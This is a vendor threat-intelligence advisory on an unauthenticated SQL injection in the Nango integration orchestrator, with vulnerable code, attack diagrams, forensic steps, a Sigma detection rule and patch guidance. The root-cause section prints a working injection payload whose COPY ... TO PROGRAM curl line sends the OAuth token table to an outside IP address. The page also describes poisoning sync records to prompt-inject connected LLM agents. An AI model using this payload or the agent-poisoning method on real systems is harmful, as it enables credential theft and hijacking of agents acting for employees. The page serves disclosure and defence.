Skip to content

CVE-2026-125759: Nango Orchestrator Unauthenticated PostgreSQL Injection via Task Group Key

Density:
C-Level Executive Briefing CVE-2026-125759 CRITICAL SCORE 94/100

A critical unauthenticated SQL injection vulnerability (CVE-2026-125759) in the Nango integration orchestrator allows remote adversaries to execute stacked queries against the core PostgreSQL database. Nango serves as the foundational unified API gateway and credential manager connecting enterprise autonomous AI agents (LangChain, AutoGen, CrewAI, Agno) to hundreds of SaaS platforms (Slack, Salesforce, GitHub, Google Workspace). Due to improper string concatenation in TaskEventsHandler.notify(), an unauthenticated POST request to '/v1/immediate' with a crafted 'group.key' parameter escapes the PostgreSQL NOTIFY command. Threat actors can exfiltrate live OAuth refresh tokens, decrypt enterprise integration secrets, manipulate background synchronization jobs, and poison context streams delivered to autonomous agents. VulnCheck published weaponized exploit research on November 11, 2026. Hermes assigns this vulnerability an HTS score of 94 (CRITICAL) and an Agentic Security Score (HASS) of 95 (EXTREME).

HERMES

HERMES THREAT SCORE & AUTONOMOUS AI AGENT SECURITY EVALUATION

Target: Nango Orchestrator API, TaskEventsHandler, and PostgreSQL Credential Store
Confidence: 98%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 18 / 20
Weaponization 20 / 20
Exposure 18 / 20
Prevalence 17 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-125759 at 7.7 (High). Hermes diverges significantly with an HTS score of 94 and an extreme Agentic Security Score (HASS) of 95. Nango is the central nervous system connecting LLM agents to external real-world actions. By dumping the Nango scheduler database, an attacker acquires valid OAuth tokens for every connected enterprise SaaS tool. This enables adversaries to hijack autonomous agents, execute unauthorized actions under employee identities, and alter enterprise data at the source.


Nango is an open-source integration platform and unified API orchestrator engineered to solve authentication, data synchronization, and action execution between backend software and external software-as-a-service (SaaS) APIs. In modern AI architectures, Nango is widely deployed as the tool execution layer and integration proxy for autonomous LLM agents (built with LangChain, AutoGen, CrewAI, or bespoke ReAct loops), managing persistent OAuth tokens, bi-directional database syncs, and webhook dispatches.

On November 11, 2026, security researchers at VulnCheck published an in-depth vulnerability advisory (CVE-2026-125759) demonstrating weaponized exploit chains against Nango orchestrator versions prior to 0.71.3. The vulnerability enables unauthenticated remote attackers to trigger stacked SQL injection in PostgreSQL through the group.key parameter of the public /v1/immediate API route. By breaking out of an unparameterized NOTIFY statement, attackers can dump encrypted and plaintext OAuth tokens, tamper with synchronization job configurations, and inject forged payloads directly into the observation streams of connected enterprise AI agents.


2. Root Cause Analysis & Technical Mechanics (CWE-89 / CWE-94)

Section titled โ€œ2. Root Cause Analysis & Technical Mechanics (CWE-89 / CWE-94)โ€

The vulnerability resides in packages/orchestrator/src/services/TaskEventsHandler.ts. The orchestrator uses PostgreSQLโ€™s native LISTEN / NOTIFY mechanism for inter-process communication between API workers and background sync runners.

sequenceDiagram
autonumber
participant Attacker as Remote Adversary
participant API as Nango Orchestrator API (POST /v1/immediate)
participant Handler as TaskEventsHandler.notify()
participant PG as PostgreSQL Database (Port 5432)
participant Agent as Autonomous LLM Agent Worker
Attacker->>API: POST /v1/immediate (crafted group.key with SQL breakout)
API->>Handler: Forward group.key string
Note over Handler: Insecure format: query = "NOTIFY nango_events, '" + key + "'"
Handler->>PG: Execute multi-statement SQL query
Note over PG: PG evaluates: NOTIFY nango_events, ''; UPDATE nango_connection SET ...;
PG-->>Attacker: Extracted OAuth tokens & connection secrets via SQL exfiltration
Attacker->>API: Forge poisoned synchronization record
API->>Agent: Deliver poisoned tool output to LLM context
Note over Agent: LLM agent executes malicious prompt injection instructions

PostgreSQLโ€™s NOTIFY command does not support traditional SQL query parameter markers ($1, $2) in client libraries like pg or slonik. Instead of escaping the payload using helper functions such as format('%L', input) or sanitizing input keys against strict alphanumeric patterns, TaskEventsHandler.notify() used direct template string interpolation:

// Vulnerable implementation in TaskEventsHandler.ts
export class TaskEventsHandler {
async notify(channel: string, groupKey: string, payload: any): Promise<void> {
const rawPayload = JSON.stringify({ groupKey, payload });
// FLAW: Direct string interpolation into raw SQL statement!
const query = `NOTIFY ${channel}, '${rawPayload}'`;
// Slonik / pg raw query execution allows stacked queries in multi-statement drivers
await this.db.query(sql.raw(query));
}
}

Because Nango connects to PostgreSQL with multi-statement query capabilities enabled, an attacker can terminate the single-quoted string literal and append arbitrary SQL commands:

{
"group": {
"key": "test'); COPY (SELECT id, provider, access_token, refresh_token FROM nango_connection) TO PROGRAM 'curl -d @- http://149.202.89.44:8000/tokens'; --"
}
}

When evaluated, the PostgreSQL engine executes two distinct operations:

  1. NOTIFY channel, '... test'); (completes normally or throws an ignorable event notice).
  2. COPY (SELECT ...) TO PROGRAM 'curl ...'; (executes with database superuser or nango service privileges, streaming the complete connection table containing enterprise OAuth secrets to the adversaryโ€™s remote server).

The attack surface carries severe implications for autonomous AI pipelines:

  1. Unauthenticated Orchestrator Boundary: The /v1/immediate endpoint is exposed without mandatory authentication in standard multi-container docker-compose deployments to allow microservices to trigger instant task scheduling.
  2. Universal SaaS Token Theft: The nango_connection and nango_credentials tables store OAuth 2.0 access and refresh tokens, Client IDs, Client Secrets, and API keys for every SaaS integration linked to the organization (e.g. Google Drive, Slack, Salesforce, GitHub, Zendesk, Stripe). An adversary extracting this table obtains immediate, persistent access across the entire SaaS portfolio.
  3. Observation Poisoning & Indirect Prompt Injection: By modifying sync records in nango_sync_records, adversaries can inject crafted system instructions into synchronization batches. When the LLM agent retrieves these records as tool output, the embedded instructions hijack the agentโ€™s ReAct execution loop, instructing it to perform malicious tasks (e.g. forwarding sensitive emails, modifying access controls, or deploying unauthorized cloud resources).

flowchart TD
A["T0: Adversary Discovery"] -->|"Scan Port 3003 / 80 / 443"| B["Nango Orchestrator API Identified"]
B -->|"POST /v1/immediate with SQL Breakout in group.key"| C["TaskEventsHandler Evaluates Malformed NOTIFY"]
C -->|"PostgreSQL Executes Stacked SQL Injection"| D["Access Token Table Dumped via COPY TO PROGRAM / Out-of-Band"]
D -->|"Harvest Live SaaS OAuth Refresh Tokens"| E["Adversary Assumes Employee Identity on SaaS APIs"]
E -->|"Inject Poisoned Synchronization Payload"| F["Autonomous AI Agent Reads Tainted Tool Data"]
F -->|"Indirect Prompt Injection"| G["Rogue Agent Tool Calling & Corporate Data Exfiltration"]

Forensic investigation on affected Nango deployments should analyze the following indicators:

  1. Step 1: Orchestrator Ingress Traffic Inspect Nango reverse proxy (Nginx / Caddy / Envoy) logs for POST requests to /v1/immediate or /v1/schedule featuring unexpected characters in query bodies (', ;, --, /*, COPY, SELECT).
  2. Step 2: PostgreSQL Statement Auditing Review PostgreSQL query logs (/var/log/postgresql/postgresql-*.log). Look for syntax errors near NOTIFY or executions of COPY ... TO PROGRAM or pg_sleep.
  3. Step 3: SaaS Anomaly Telemetry Cross-reference SaaS provider audit logs (Google Workspace Admin Log, GitHub Audit Log, Salesforce Login History) for API logins utilizing Nango-provisioned OAuth tokens originating from unfamiliar IP addresses.

title: Nango Orchestrator SQL Injection via Task Group Key (CVE-2026-125759)
id: f1829e12-8419-4b67-9c88-1928bc174829
status: experimental
description: Detects SQL injection attempts targeting the Nango orchestrator /v1/immediate endpoint.
author: Hermes Cyber Risk Intelligence
references:
- https://vulncheck.com/advisories/nango-before-0.71.3-sql-injection-via-orchestrator-task-group-key
- https://github.com/NangoHQ/nango
tags:
- attack.initial_access
- attack.t1190
- attack.credential_access
- attack.t1552.001
logsource:
category: webserver
product: nango
detection:
selection:
cs-method: 'POST'
cs-uri-stem|contains:
- '/v1/immediate'
- '/v1/schedule'
cs-body|contains:
- "';"
- "');"
- '--'
- 'COPY '
- 'pg_sleep'
- 'SELECT '
condition: selection
falsepositives:
- Extremely rare. Standard Nango task group keys are formatted as alphanumeric identifiers or UUIDs.
level: critical

  1. Immediate Nango Upgrade to v0.71.3: Update all Nango server and orchestrator containers immediately to version 0.71.3 or higher. The patch incorporates strict parameterized escaping using pg-format and sanitizes user input prior to emitting NOTIFY signals.
  2. Revoke and Rotate All Connected SaaS Tokens: Because the database stores live OAuth refresh credentials, organizations running vulnerable instances must assume complete token compromise. Immediately revoke all application authorizations across connected platforms (Google Cloud, Microsoft Azure AD, GitHub Apps, Salesforce Connected Apps, Slack Apps) and prompt users to re-authenticate.
  3. Restrict Orchestrator API Network Ingress: The Nango orchestrator port (TCP 3003 / /v1/immediate) should be bound strictly to internal container networks (127.0.0.1 or internal Docker/K8s bridge) and never exposed directly to the public internet or untrusted ingress controllers.
  4. PostgreSQL Database Principle of Least Privilege: Configure the database user utilized by Nango with restricted permissions. Specifically, ensure the user does not possess SUPERUSER privileges, preventing the execution of COPY ... TO PROGRAM OS commands.